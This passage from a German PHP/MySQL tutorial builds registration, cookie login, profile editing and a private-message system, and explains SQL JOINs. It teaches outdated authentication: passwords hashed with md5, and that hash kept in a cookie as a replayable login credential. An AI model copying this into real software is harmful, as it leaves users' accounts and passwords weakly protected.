<?php // [...] if (!$stmt->execute()) { return $stmt->error; } $UserID = $stmt->insert_id; $sql = 'UPDATE User SET Password = ? WHERE ID = ?'; $stmt = $db->prepare($sql); if (!$stmt) { return $db->error; } $Hash = md5(md5($UserID).$Password); $stmt->bind_param('si', $Hash, $UserID); if (!$stmt->execute()) { return $stmt->error; } // [...] ?>
Nun wurde der Benutzer mit dem Passwort gespeichert. Nun geben wir noch eine
entsprechende Meldung beim Benutzer aus.
<?php // [...] if (!$stmt->execute()) { return $stmt->error; } return showInfo('Der Benutzer wurde hinzugefügt. Sie können sich nun anmelden.'); // [...] ?>
Bei der Funktion showInfo() handelt es sich um eine benutzerdefinierte
Funktion die wir noch schreiben müssen. Sie soll für uns ein Array generieren
welches dann später ein Template mit einer Infobox anzeigt. Dazu schreiben wir erstmal
die templates/info.tpl-Datei.
<?php /* Daten * - msg: Die Nachricht die angezeigt werden soll. */ ?><p class="info"> <?php echo htmlspecialchars($data['msg']); ?> </p>
Da wir jetzt wissen wie die Template-Datei aussieht wissen wir auch wie
die Funktion aussehen muss.
<?php /** * Erzeugt ein Array für das Infomessage-Template. * * Diese Funktion erzeugt eine Array für unsere Templateengine die dann * die Infomessage-Template-Datei "info.tpl" läd. Der Parameter gibt * dabei die Nachricht an die angezeigt werden soll. * * @param msg Die Nachricht die angezeigt werden soll. * @return Das Array für unsere Templateengine. */ function showInfo($msg) { $ret = array(); $ret['filename'] = 'info.tpl'; $ret['data'] = array(); $ret['data']['msg'] = $msg; return $ret; } ?>
Da sich nun jeder registieren kann kommt nun der Programmteil zum einloggen.
5. Ins System einloggen
Da unser Login Cookies verwenden soll müssen wir uns überlegen was wir beim
Client speichern. Die einfachste Möglichkeit wäre es den Benutzernamen und
das Password zu speichern. Jedoch mag es vielleicht der Benutzer nicht wenn
bei jedem Seitenaufruf die lesbaren Logindaten übermittelt werden.
Daher werden wir die UserID und den Hashwert vom Passwort speichern. Die
können zwar auch abgefangen werden aber dadurch kriegt keiner das
eigentliche Password vom Benutzer raus.
Für den Bereich login brauchen wir wieder 2 Dateien. Einmal
die templates/login.tpl welches das Loginformular anzeigt
und entsprechend die includes/login.php welches die
Formulardaten verarbeitet.
Nun prüfen wir mit den Username ob ein Benutzer vorhanden ist.
<?php // [...] if (('' == $Username = trim($_POST['Username'])) OR ('' == $Password = trim($_POST['Password']))) { return EMPTY_FORM; } $sql = 'SELECT ID FROM User WHERE Username = ?'; $stmt = $db->prepare($sql); if (!$stmt) { return $db->error; } $stmt->bind_param('s', $Username); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($UserID); if (!$stmt->fetch()) { return 'Es wurde kein Benutzer mit den angegebenen Namen gefunden.'; } $stmt->close(); // [...] ?>
Die bind_result()-Methode ist das selbe wie bind_param(), nur
in der anderen Richtung. Wenn die fetch()-Methode aufgerufen wird so
werden die Daten vom nächsten Datensatz aus dem Resultset in die
gebundenen Variablen gespeichert. Hier ist dies nur die
ID des Benutzers. Wenn kein Datensatz mehr vorhanden ist liefert fetch()
den Wert NULL der äquivalent zu false umgewandelt wird.
Dies nutzen wir aus indem wir die Methode in einer if-Abfrage aufrufen und dann
entsprechend eine Fehlermeldung zurückliefern wenn kein Datensatz vorhanden ist.
Nun haben wir die ID des Benutzers und prüfen nun ob das Passwort stimmt.
<?php // [...] if (!$stmt->fetch()) { return 'Es wurde kein Benutzer mit den angegebenen Namen gefunden.'; } $stmt->close(); $sql = 'SELECT Password FROM User WHERE ID = ? AND Password = ?'; $stmt = $db->prepare($sql); if (!$stmt) { return $db->error; } $Hash = md5(md5($UserID).$Password); $stmt->bind_param('is', $UserID, $Hash); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($Hash); if (!$stmt->fetch()) { return 'Das eingegebene Password ist ungültig.'; } $stmt->close(); // [...] ?>
Nun wissen wir dass die Logindaten stimmen und können nun die Cookies senden.
Cookies alleine sorgen nicht dafür dass man eingeloggt ist, wir müssen sie auch
abfragen. Dazu definieren wir uns eine Funktion getUserID(). Sie
prüft die Cookie-Werte und liefert entweder false wenn der
Benutzer nicht eingeloggt ist oder die Benutzer-ID wenn die Logindaten gültig
sind. Diese Funktion soll also zwei Dinge leisten, einmal gucken ob man
eingeloggt ist und dann gucken mit welcher ID der Benutzer eingeloggt ist.
<?php /** * Liefert die Benutzer-ID zurück. * * Diese Funktion liefert die Benutzer-ID des angemeldeten Benutzers zurück. * Falls kein Benutzer angemeldet ist liefert diese Funktion den Wert false * zurück. Der Parameter gibt dabei das MySQLi-Objekt an in der nach * dem Login geprüft werden soll. Es werden dabei die Cookies "UserID" und * "Password" ausgelesen. Bei einem MySQL-Fehler wird ein String mit * der Fehlermeldung zurückgeliefert. * * @param db Das MySQLi-Objekt auf dem gearbeitet wird. * @return false wenn der Benutzer nicht eingeloggt ist, die ID des Benutzers * wenn er eingeloggt ist oder ein string wenn eine Fehlermeldung * auftrat. */ function getUserID($db) { if (!is_object($db)) { return false; } if (!($db instanceof MySQLi)) { return false; } if (!isset($_COOKIE['UserID'], $_COOKIE['Password'])) { return false; } $sql = 'SELECT ID FROM User WHERE ID = ? AND Password = ?'; $stmt = $db->prepare($sql); if (!$stmt) { return $db->error; } $stmt->bind_param('is', $_COOKIE['UserID'], $_COOKIE['Password']); if (!$stmt->execute()) { $str = $stmt->error; $stmt->close(); return $str; } $stmt->bind_result($UserID); if (!$stmt->fetch()) { $stmt->close(); return false; } $stmt->close(); return $UserID; } ?>
Zuerst sind einige Abfragen ob auch alle Werte da sind. Dann wird
ein SELECT-Query gesendet und geprüft ob die Logindaten stimmen.
Wenn sie stimmen wir die ID des Benutzers zurückgeliefert, wenn nicht
wird false zurückgeliefert.
Problematisch bei dieser Funktion sind MySQL-Fehler die auftreten können.
Idealerweise würde man hier vielleicht anstatt ein return
lieber eine Exception werfen. Dies haben wir jedoch
noch nicht gelernt, daher bleibt uns nur eine return-Anweisung.
Wie man sieht wird hier auf die entsprechenden Cookies zugegriffen. Beim
Einloggen sind die Cookies jedoch (noch) nicht gesetzt. Man ist zwar eingeloggt
aber dies sieht man erst beim nächsten Aufruf wenn dann die Cookies gesendet
werden. Hier kann man ein wenig Tricksen wenn man beim einloggen für
den aktuellen Request die Cookies von Hand setzt.
Somit liefert schon im aktuellen Request die getUserID()-Funktion
die ID des Benutzers zurück.
Um MySQL-Fehler innerhalb der getUserID-Funktion richtig zu behandeln
prüfen wir sehr früh ob die Funktion ein MySQL-Fehler hat, indem wir in der
index.php-Datei den Rückgabewert prüfen.
include 'constants.php'; include 'functions.php'; include 'classes.php'; include 'variables.php';
$db = @new MySQLi(/*host*/, /*username*/, /*password*/, /*database*/); $ret = 1; // speichert den rückgabewert von include, standardwert 1 if (mysqli_connect_errno()) { $ret = 'Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error(); } else if (is_string($error = getUserID($db))) { // String, also ein MySQL Fehler $ret = $error; // die Fehlermeldung in $ret speichern, damit sie angezeigt wird. } else { // Laden der Include-Datei // [...] } // Laden des HTML-Kopfs // [...] ?>
So werden MySQL-Fehlermeldungen angezeigt und wenn es keine gab (is_string
liefert false) kann normal weitergearbeitet werden.
Nun da wir eine funktionierende getUserID()-Funktion haben können wir
diese in unseren beiden Bereichen verwenden. Es ergibt keinen Sinn ein neuen Benutzer
zu registieren wenn man eingeloggt ist oder sich einzuloggen wenn man bereits eingeloggt ist.
Daher fügen wir in der register.php oben folgenden Code ein.
<?php if (getUserID($db)) { return 'Sie sind eingeloggt und können sich nicht registieren.'; } $ret = array(); $ret['filename'] = 'register.tpl'; $ret['data'] = array(); // [...] ?>
Und in der login.php ein entsprechender Code.
<?php if (getUserID($db)) { return 'Sie sind bereits eingeloggt.'; } $ret = array(); $ret['filename'] = 'login.tpl'; $ret['data'] = array(); // [...] ?>
Die Funktion getUserID() kann nun auch verwendet werden
um in der templates/menu.tpl-Datei die Links zum
Anmelden und Registieren nur dann anzuzeigen wenn man auch wirklich
nicht angemeldet ist. Zum Schluss liefern wir in der includes/login.tpl
noch eine Infomessage zurück dassder Benutzer nun eingeloggt ist.
Um sich aus dem System auszuloggen braucht man nur die Cookies zu
löschen. Dafür schreiben wie entsprechend die templates/logout.tpl-
und includes/logout.php-Dateien.
<form action="index.php?section=logout" method="post">
<fieldset>
<legend>Ausloggen</legend>
<p class="info">Um sich auszuloggen klicken sie unten auf den Button.</p>
<input type="submit" name="formaction" value="Ausloggen" />
</fieldset>
</form>
Für die includes/logout.php schreiben wir wieder unser Grundgerüst.
Wie man sieht verwenden wir hier eine neue Konstante NOT_LOGGED_IN, die
wir entsprechend in der constants.php definieren müssen.
<?php // [...] define('NOT_LOGGED_IN', 'Sie müssen eingeloggt sein um diese Funktion nutzen zu können.'); ?>
Nun löschen wir die Cookies.
<?php if (!getUserID($db)) { return NOT_LOGGED_IN; } $ret = array(); $ret['filename'] = 'logout.tpl'; $ret['data'] = array(); if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['formaction'])) { return INVALID_FORM; } setcookie('UserID', '', strtotime('-1 day')); setcookie('Password', '', strtotime('-1 day')); unset($_COOKIE['UserID']); unset($_COOKIE['Password']); return showInfo('Sie sind nun ausgeloggt.'); } return $ret; ?>
Und somit sind wir fertig mit der Logout-Funktion.
7. Eigenes Profil bearbeiten
Früher oder später möchte man sein Nicknamen, sein Password oder seine
Emailadresse ändern. Deshalb brauchen wir eine Möglichkeit das Profil zu
bearbeiten. Dafür benötigen wir die Dateien templates/profile.tpl
und includes/profile.php.
Für die includes/profile.php-Datei legen wir wieder ein
Grundgerüst an.
Es gibt drei Möglichkeiten wie dieser Bereich aufgerufen wird. Erste
Möglichkeit ist der einfache Aufruf mittels eines Links. Als zweite
Möglichkeit wird die Seite aufgerufen wenn der Benutzername oder
die Emailadresse geändert wird. Und als dritte Möglichkeit wird die
Seite aufgerufen wenn das Password geändert wird. Für alle diese
Möglichkeiten verwenden wir die $_POST['formaction']-Variable,
die wir mit einem switch abfragen.
Mit dem @-Zeichen unterdrücken wir zwar die Fehlermeldung
falls das Arrayelement nicht existiert, jedoch definieren wir ein
default-Teil der standardmäßig aufgerufen wird.
In diesem Bereich laden wir die Profildaten Username
und Email aus der Datenbank aus und zeigen sie im Template
an.
<?php // [...] default: $sql = 'SELECT Username, Email FROM User WHERE ID = ?'; $stmt = $db->prepare($sql); if (!$stmt) { return $db->error; } $stmt->bind_param('i', $UserID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($Username, $Email); $stmt->fetch(); $stmt->close(); break; // [...] ?>
Diese Daten speichern wir nun in unser return-Array ab um
später im Template darauf zugreifen zu können.
Somit ist der default-Teil fertig. Wir hätten bei
bind_result die Daten aus der Datenbank direkt in die
Felder $ret['data']['Username'] und $ret['data']['Email']
speichern können, jedoch sollten wir erstmal lernen wie es überhaupt geht
bevor wir elegante Kurzschreibweisen verwenden.
In der templates/profile.tpl geben wir nun diese Daten aus.
Hier sieht man das zwei Formulare definiert wurden, beide mit einem unterschiedlichen Submit-Button.
Das erste Formular dient dazu nicht sensible Daten wie Benutzername und Email zu verändern. Dieses
benötigt auch keine Password-Eingabe. Das zweite Formular ändert jedoch sensible Daten, in diesem
Fall das Password. Daher wird auch nach dem alten Password verlangt. Dies ist eine Sicherheitsmaßnahme
damit nicht z.B. der Freund kurz an den Rechner geht mit dem wissen das sein Freund eingeloggt ist
und einfach so das Password ändert. Dies ist auch immer die Gradwanderung zwischen Sicherheit und Komfort.
Das muss jeder selbst entscheiden wie sicher bzw. wie benutzerfreundlich jemand etwas programmieren will.
Hier könnte man z.B. auch das Ändern des Benutzernamens mit einer Passwordabfrage schützen da der
Benutzername gleichzeitig der Login ist. Um hier den Unterschied zu zeigen kann man
Benutzername und Email ohne Password ändern, das neue
Password jedoch nur mit dem alten Password.
In der includes/profile.php können wir nun auf die entsprechenden Submit-Buttons reagieren.
Zuerst schreiben wir den Code für die Bearbeitung des Benutzernamens und der Emailadresse.
Auch hier kommen wieder unsere Grundabfragen, die so ähnlich sind wie die
aus der includes/register.php-Datei.
<?php // [...] case 'Profil speichern': if (!isset($_POST['Username'], $_POST['Email'])) { return INVALID_FORM; } if (($Username = trim($_POST['Username'])) == '' OR ($Email = trim($_POST['Email'])) == '') { return EMPTY_FORM; } if (!preg_match('~\A\S{3,30}\z~', $Username)) { return 'Der Benutzername darf nur aus 3 bis 30 Zeichen bestehen und '. 'keine Leerzeichen enthalten.'; } break; // [...] ?>
Nun prüfen wir ob bereits ein Benutzer den ggf. neuen Benutzernamen verwendet.
<?php // [...] if (!preg_match('~\A\S{3,30}\z~', $Username)) { return 'Der Benutzername darf nur aus 3 bis 30 Zeichen bestehen und '. 'keine Leerzeichen enthalten.'; } $sql = 'SELECT ID FROM User WHERE Username = ? AND ID != ?'; // das "ID != ?" dient dazu das wir nicht unseren eigenen Benutzernamen // finden sondern nur die der anderen. $stmt = $db->prepare($sql); if (!$stmt) { return $db->error; } $stmt->bind_param('si', $Username, $UserID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($OtherID); $stmt->fetch(); $stmt->close(); if ($OtherID) { return 'Es gibt bereits ein Benutzer der diesen Namen verwendet.'; } // [...] ?>
Da der Benutzername und die Email in Ordnung ist speichern wir diese nun ab.
<?php // [...] if ($OtherID) { return 'Es gibt bereits ein Benutzer der diesen Namen verwendet.'; } $sql = 'UPDATE User SET Username = ?, Email = ? WHERE ID = ?'; $stmt = $db->prepare($sql); if (!$stmt) { return $db->error; } $stmt->bind_param('ssi', $Username, $Email, $UserID); if (!$stmt->execute()) { return $stmt->error; } return showInfo('Der Benutzername und die Email wurde aktuallisiert.'); break; // [...] ?>
Auch wenn die break;-Anweisung nie erreicht wird dient sie der
Übersicht vom switch().
Beim Password ändern prüfen wir zuerst das alte Password und speichern
dann das neue. Dabei können wir auch wieder den Code aus der
includes/register.php verwenden. Wir beginnen mit dem
Grundgerüst.
<?php // [...] case 'Password ändern': if (!isset($_POST['Old'], $_POST['Password'])) { return INVALID_FORM; } if (!is_array($_POST['Password']) OR count($_POST['Password']) != 2) { return INVALID_FORM; } if ($_POST['Password'][0] != $_POST['Password'][1]) { return 'Bitte geben sie das gleiche Password ein.'; } if (($Old = trim($_POST['Old'])) == '' OR ($Password = trim($_POST['Password'][0])) == '') { return EMPTY_FORM; } break; // [...] ?>
Nun prüfen wir ob das Password stimmt.
<?php // [...] if (($Old = trim($_POST['Old'])) == '' OR ($Password = trim($_POST['Password'][0])) == '') { return EMPTY_FORM; } $sql = 'SELECT ID FROM User WHERE ID = ? AND Password = ?'; $stmt = $db->prepare($sql); if (!$stmt) { return $db->error; } $Hash = md5(md5($UserID).$Old); $stmt->bind_param('is', $UserID, $Hash); if (!$stmt->execute()) { return $stmt->error; } if (!$stmt->fetch()) { return 'Das eingegebene Password ist ungültig.'; } $stmt->close(); // [...] ?>
Nun da das alte Password stimmt, das neue Password auch gültig ist speichern wir
nun das neue Password.
<?php // [...] if (!$stmt->fetch()) { return 'Das eingegebene Password ist ungültig.'; } $stmt->close(); $sql = 'UPDATE User SET Password = ? WHERE ID = ?'; $stmt = $db->prepare($sql); if (!$stmt) { return $db->error; } $Hash = md5(md5($UserID).$Password); $stmt->bind_param('si', $Hash, $UserID); if (!$stmt->execute()) { return $stmt->error; } // [...] ?>
Bevor wir eine Nachricht ausgeben lassen löschen wir die Cookies
da sie eh ungültig sind.
<?php // [...] if (!$stmt->execute()) { return $stmt->error; } setcookie('UserID', '', strtotime('-1 day')); setcookie('Password', '', strtotime('-1 day')); unset($_COOKIE['Username']); unset($_COOKIE['Password']); return showInfo('Das Password wurde geändert. Sie wurden automatisch ausgeloggt und müssen '. 'sich ggf. neu einloggen.'); break; // [...] ?>
Da wir nun ein funktionierenden Login haben können wir diesen
nun Testweise verwenden. Dazu schreiben wir ein Nachrichtensystem
mit den wir anderen Benutzern Nachrichten schreiben können.
Dies ist üblicherweise in Internetforen bekannt als
PM-System (von private message).
Die MySQL-Tabelle muss für eine Nachricht folgende Daten speichern.
ID - Die typische Identifikationsspalte mit den
typischen Attributen INT, UNSIGNED,
AUTO_INCREMENT und PRIMARY KEY.
Quelle - Die UserID der die Nachricht geschrieben hat.
Daher auch der Typ INT mit den Attributen
UNSIGNED und NOT NULL.
Ziel - Die UserID für die die Nachricht bestimmt ist.
Auch vom Typ INT mit UNSIGNED
und NOT NULL.
Datum - Speichert den Zeitpunkt wann die Nachricht
geschrieben bzw. gesendet wurde. Typ ist DATETIME
mit NOT NULL.
Gelesen - Speichert den Zeitpunkt wann der Empfänger
sich die Nachricht angeguckt hat. Der Typ ist auch
DATETIME jedoch muss das Attribut NULL
verwendet werden weil der Empfänger die Nachricht auch erst dann
gelesen hat wenn er die Nachricht öffnet. Beim öffnen wird
diese Spalte mit dem aktuellen Zeitpunkt gefüllt und somit gesetzt.
Betreff - Selbsterklärend, vom Typ VARCHAR(100)
mit dem Attribut NOT NULL.
Inhalt - Der Inhalt der Nachricht, vom Typ TEXT
mit dem Attribut NOT NULL.
Die MySQL-Anfrage sieht dann wie folgt aus.
CREATE TABLE Nachricht (
ID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
Quelle INT UNSIGNED NOT NULL,
Ziel INT UNSIGNED NOT NULL,
Datum DATETIME NOT NULL,
Gelesen DATETIME NULL,
Betreff VARCHAR(100) NOT NULL,
Inhalt TEXT NOT NULL
);
Analog kann man auch die Tabelle in phpMyAdmin hinzufügen.
2. Einbindung in unser Templatesystem
Für unser Templatesystem verwenden wir das $dateien-Array mit dem wir
angeben welche Dateien geladen werden können. Bei dem Templatesystem gibt
es jedoch mehrere Aktionen die auftreten können.
Einmal kann man sich in einer Übersicht alle
Nachrichten angucken die man geschrieben hat und die man empfangen hat.
Insbesondere können hier auch Nachrichten gelöscht werden.
Des Weiteren kann man sich den Inhalt einer Nachricht angucken.
Darauf folgend kann man z.B. die Nachricht löschen oder auf dieser
Antworten.
Dann kann man auch einfach so eine neue Nachricht schreiben.
Interessant wird auch wie man die Benutzer findet, für die
eine Nachricht bestimmt ist.
All diese Aktionen müssen irgendwie in unsere Datei eingebunden werden und wir brauchen
entsprechende Template-Dateien mit den wir den entsprechenden HTML-Code anzeigen. Hier
sollte man ein wenig vorher überlegen welche Bereiche wie aufgerufen werden, mit
welcher HTTP-Methode und mit welchen Variablen.
Um die ganzen Teilbereiche zu erreichen verwenden wir eine neu GET-Variable action
in der wir die Aktion angeben die wir machen wollen. Für jeden dieser Bereiche legen
wir ein PHP-Skript und ein HTML-Template an. Die Bereiche laden wir mit einem
Arrayinclude ähnlich der in der index.php-Datei.
<?php if (!$UserID = GetUserID($db)) { return NOT_LOGGED_IN; } $actions = array(); $actions['view'] = 'pm_view.php'; $actions['delete'] = 'pm_delete.php'; $actions['reply'] = 'pm_reply.php'; $actions['find'] = 'pm_find.php'; $actions['new'] = 'pm_new.php'; if (isset($_GET['action'], $actions[$_GET['action']])) { return include $actions[$_GET['action']]; } return include 'pm_overview.php'; ?>
Einmal sehen wir das abgefragt wurde ob man eingeloggt ist. Des Weiteren
definieren wir unser Arrayinclude und rufen als Fallback die
pm_overview.php-Datei auf. Die pm.php-Datei definiert
selbst nicht das Return-Array sondern liefert das zurück was
die Include-Dateien generieren. Natürlich darf nicht vergessen
diese Datei auch in unser
$section-Array einzutragen.
Zuerst schreiben wir die Template-Datei damit wir wissen was wir
alles für Daten brauchen.
<?php
/*
* Daten:
* neu - Ein Array mit Arrays für jede ungelesen Nachricht. Jedes Array
* für eine Nachricht hat die folgende Werte:
* ID - Die ID der Nachricht
* Betreff - Den Betreff der Nachricht
* Autor - Der Name vom Benutzer der die Nachricht geschrieben hat.
* Datum - Der Zeitpunkt wann die Nachricht gesendet wurde.
* alt - Ein Array mit Arrays für jede bereits gelesene Nachricht. Der
* Aufbau des Arrays ist der selbe wie oben, nur das es ein
* weiteres Feld enthält.
* Gelesen - Der Zeitpunkt wann die Nachricht angeguckt wurde.
*/
?><form action="index.php?section=pm&action=delete" method="post">
<table class="messages new">
<caption>Ungelesene Nachrichten</caption>
<thead>
<tr>
<th>Betreff</th>
<th>Autor</th>
<th>Datum</th>
<th>Markieren</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="3">Markierte Nachrichten löschen</td>
<td><input type="submit" name="formaction" value="Löschen" /></td>
</tr>
</tfoot>
<tbody>
<?php
foreach ($data['new'] as $message) {
echo " <tr>\n";
echo ' <td><a href="index.php?section=pm&action=view&ID='.$message['ID'].'">'.
htmlspecialchars($message['Betreff'])."</a></td>\n";
echo ' <td>'.htmlspecialchars($message['Autor'])."</td>\n";
echo ' <td>'.htmlspecialchars($message['Datum'])."</td>\n";
echo ' <td><input type="checkbox" name="ID[]" value="'.$message['ID'].'" /></td>'."\n";
echo " </tr>\n";
}
?>
</tbody>
</table>
<table class="messages old">
<caption>Gelesene Nachrichten</caption>
<thead>
<tr>
<th>Betreff</th>
<th>Autor</th>
<th>Datum</th>
<th>Gelesen</th>
<th>Markieren</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="4">Markierte Nachrichten löschen</td>
<td><input type="submit" name="formaction" value="Löschen" /></td>
</tr>
</tfoot>
<tbody>
<?php
foreach ($data['old'] as $message) {
echo " <tr>\n";
echo ' <td><a href="index.php?section=pm&action=view&ID='.$message['ID'].'">'.
htmlspecialchars($message['Betreff'])."</a></td>\n";
echo ' <td>'.htmlspecialchars($message['Autor'])."</td>\n";
echo ' <td>'.htmlspecialchars($message['Datum'])."</td>\n";
echo ' <td>'.htmlspecialchars($message['Gelesen'])."</td>\n";
echo ' <td><input type="checkbox" name="ID[]" value="'.$message['ID'].'" /></td>'."\n";
echo " </tr>\n";
}
?>
</tbody>
</table>
</form>
<p>
<a href="index.php?section=pm&action=new">Neue Nachricht schreiben</a>
</p>
Dazu schreiben wir die pm_overview.php-Datei. Diese
wird wie alle anderen Dateien in
includes/ abgelegt. Problematisch wird es jedoch
den Benutzernamen des Autors auszulesen, da in der
Nachrichten-Tabelle nur die ID des Autors steht, nicht dessen
Name. Eine Möglichkeit wäre es
mit eine While-Schleife die Nachrichten auszulesen und innerhalb
dieser While-Schleife verschachtelt eine SQL-Anfrage zu schicken
die den Benutzernamen des aktuellen Autors ausliest. Die
elegantere Lösung ist jedoch den Namen gleichzeitig mit den
Nachrichten auszulesen. Dazu wird eine JOIN-Anfrage
verwendet.
3. JOIN-Anfragen
In unserer relationalen Datenbank werden wir auch weiterhin
mit IDs arbeiten. Dies entspricht in etwa der
Dritten Normalform,
die auf jedenfall angestrebt werden sollte. Daher brauchen wir eine
Möglichkeit von einer Tabelle zur anderen Tabelle zu gelangen. In
MySQL existiert dafür das Schlüsselwort JOIN.
SELECT
...
FROM
Tabelle_A
JOIN
Tabelle_B
Dieser Query würde zuerst eine Art Kreuzprodukt mit allen
Datensätze aus Tabelle A und den Datensätzen aus Tabelle B bilden.
Bei 100 Datensätze in Tabelle A und 20 Datensätzen in Tabelle B sind
dies 2000 Datensätze die rauskommen. Dies ist meistens unerwünscht,
insbesondere weil einige Datensätze aus Tabelle A nicht mit Datensätzen
aus Tabelle B semantisch zusammenpassen. Daher besteht bei
JOIN die Möglichkeit die Art der Verkettung anzugeben. Dies
wird mit dem auf JOIN tbl folgenden Schlüsselwort
ON angegeben. Dabei gibt man dort eine Bedingung an
wann Datensätze aus Tabelle A mit Datensätzen aus Tabelle B kombiniert
werden.
SELECT
...
FROM
Tabelle_A
JOIN
Tabelle_B
ON
Tabelle_A.ID = Tabelle_B.ObjektID
Diese Bedingung dient nur für die Verknüpfung der Tabellen. Weitere
Semantische Einschränkungen wie Username = 'Foobar' wird
normal im WHERE-Teil verarbeitet. Wenn wir aus
zwei oder mehr Tabellen auslesen kann es sein dass eine Spaltenangabe
wie z.B. ID nicht mehr eindeutig ist. Daher werden
bei JOIN-Anfragen die Spalten in der Form
Tabelle.Spalte angegeben.
SELECT
Tabelle_A.ID,
Tabelle_A.Beschreibung,
Tabelle_B.Name,
Tabelle_B.Datum
FROM
Tabelle_A
JOIN
Tabelle_B
ON
Tabelle_A.ID = Tabelle_B.ObjektID
In PHP wird der Spaltenname jedoch weiterhin nur ID,
Beschreibung, usw. heißen. Falls das einem nicht passt
kann der Namen durch AS neuer_name verändert werden.
SELECT
Tabelle_A.ID,
Tabelle_A.Beschreibung,
Tabelle_B.Name AS Username,
Tabelle_B.Datum
FROM
Tabelle_A
JOIN
Tabelle_B
ON
Tabelle_A.ID = Tabelle_B.ObjektID
4. Anzeigen der Nachrichten
Da wir nun wissen wie wir den Benutzernamen aus der anderen Tabelle
laden können wir nun unsere MySQL-Anfrage abschicken.
<?php $ret = array(); $ret['filename'] = 'pm_overview.tpl'; $ret['data'] = array(); $sql = 'SELECT Nachricht.ID, Nachricht.Betreff, User.Username AS Autor, Nachricht.Datum FROM Nachricht JOIN User ON Nachricht.Quelle = User.ID WHERE Nachricht.Ziel = ? AND Nachricht.Gelesen IS NULL ORDER BY Nachricht.Datum DESC'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $UserID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($ID, $Betreff, $Autor, $Datum); $neu = array(); while ($stmt->fetch()) { $neu[] = array('ID' => $ID, 'Betreff' => $Betreff, 'Autor' => $Autor, 'Datum' => $Datum); } $stmt->close(); $ret['data']['new'] = $neu; // und das selbe für gelesene Nachrichten. $sql = 'SELECT Nachricht.ID, Nachricht.Betreff, User.Username AS Autor, Nachricht.Datum, Nachricht.Gelesen FROM Nachricht JOIN User ON Nachricht.Quelle = User.ID WHERE Nachricht.Ziel = ? AND Nachricht.Gelesen IS NOT NULL ORDER BY Nachricht.Datum DESC'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $UserID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($ID, $Betreff, $Autor, $Datum, $Gelesen); $alt = array(); while ($stmt->fetch()) { $alt[] = array('ID' => $ID, 'Betreff' => $Betreff, 'Autor' => $Autor, 'Datum' => $Datum, 'Gelesen' => $Gelesen); } $stmt->close(); $ret['data']['old'] = $alt; return $ret; ?>
Wie man sieht wählen wir mit Nachricht.Ziel = ? nur die Nachrichten aus
die für uns bestimmt sind und mit Nachricht.Gelesen IS (NOT) NULL nur
die Nachrichten die wir nicht gelesen bzw. gelesen haben. Um den
Benutzernamen des Autors rauszukriegen verwenden wir ein JOIN auf die Tabelle
User mit der Bedingung Nachricht.Quelle = User.ID.
5. Schreiben neuer Nachrichten
Damit wir für die späteren Programmteile auch Testnachrichten haben schreiben
wir nun den Teil für das Schreiben neuer Nachrichten. Jedoch wissen wir
noch nicht wie wir den Empfänger der Nachricht angeben. Die einfachste
Möglichkeit wäre ein Eingabefeld in der wir die UserID des Empfängers eingeben.
Dies ist jedoch nicht grad Benutzerfreundlich wenn wir Nachrichten an
User 557324 oder 2496235 schicken. Besser wäre es doch
wenn wir eine Benutzernamen eingeben können. Da der Benutzername nur einmal
vorkommen kann könnte dies sogar klappen, könnte aber auch daran scheitern wenn
der Benutzernamen aus kryptischen Zeichen besteht. Wir werden jedoch
diesen Weg nehmen, auch wenn damit einige Problem verbunden sind.
Zuerst schreiben wir die Template-Datei. Diese braucht keine Daten aus der
(noch zu schreibenen) PHP-Datei.
Wie üblich prüfen wir ob alle Daten vorhanden und ausgefüllt sind.
<?php $ret = array(); $ret['filename'] = 'pm_new.tpl'; $ret['data'] = array(); if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Empfaenger'], $_POST['Betreff'], $_POST['Nachricht'], $_POST['formaction'])) { return INVALID_FORM; } if (($Empfänger = trim($_POST['Empfaenger'])) == '' OR ($Betreff = trim($_POST['Betreff'])) == '' OR ($Nachricht = trim($_POST['Nachricht'])) == '') { return EMPTY_FORM; } } return $ret; ?>
Nun lesen wir die UserID vom Empfänger aus und gegen eine Fehlermeldung aus
wenn kein Benutzer gefunden wurde.
<?php // [...] if (($Empfänger = trim($_POST['Empfaenger'])) == '' OR ($Betreff = trim($_POST['Betreff'])) == '' OR ($Nachricht = trim($_POST['Nachricht'])) == '') { return EMPTY_FORM; } $sql = 'SELECT ID FROM User WHERE Username = ? AND ID != ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('si', $Empfänger, $UserID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($ZielID); if (!$stmt->fetch()) { return 'Es wurde kein Benutzer mit diesem Namen gefunden.'; } $stmt->close(); // [...] ?>
Die Bedingung ID != ? dient wieder dazu dass wir uns nicht
selbst finden und somit auch keine Nachrichten an uns selbst schreiben können.
Da wir nun die ID haben können wir die Nachricht in unserer Tabelle speichern.
Dies wars schon. Die Spalte Gelesen wird standardmäßig mit
NULL gefüllt und somit wird die Nachricht als ungelesen
interpretiert.
6. Nachricht anzeigen
Wenn eine Nachricht angezeigt werden soll müssen wir mehrere Dinge beachten. Einmal
könnte jemand versuche eine Nachricht anzuzeigen die nicht für ihn bestimmt ist.
Des Weiteren müssen wir beim Anzeigen ggf. darauf achten das in dem
Gelesen-Feld der aktuelle Zeitpunkt gespeichert wird weil
derjenige Benutzer ja schließlich die Nachricht gelesen hat bzw. zumindest
geöffnet hat. Und dann müssen wir auf HTML-Code und Spielerein in den
Nachricht achten, wie wir es im Gästebuch gemacht haben.
Zuerst schreiben wir wieder die Template-Datei damit wir wissen welche
Daten wir brauchen.
<?php
/* Daten:
* ID - Die ID der Nachricht
* Quelle - Der Name desjenigen der die Nachricht geschrieben hat
* Ziel - Der Name desjenigen für den die Nachricht bestimmt ist.
* Datum - Der Zeitpunkt wann die Nachricht gesendet/geschrieben wurde
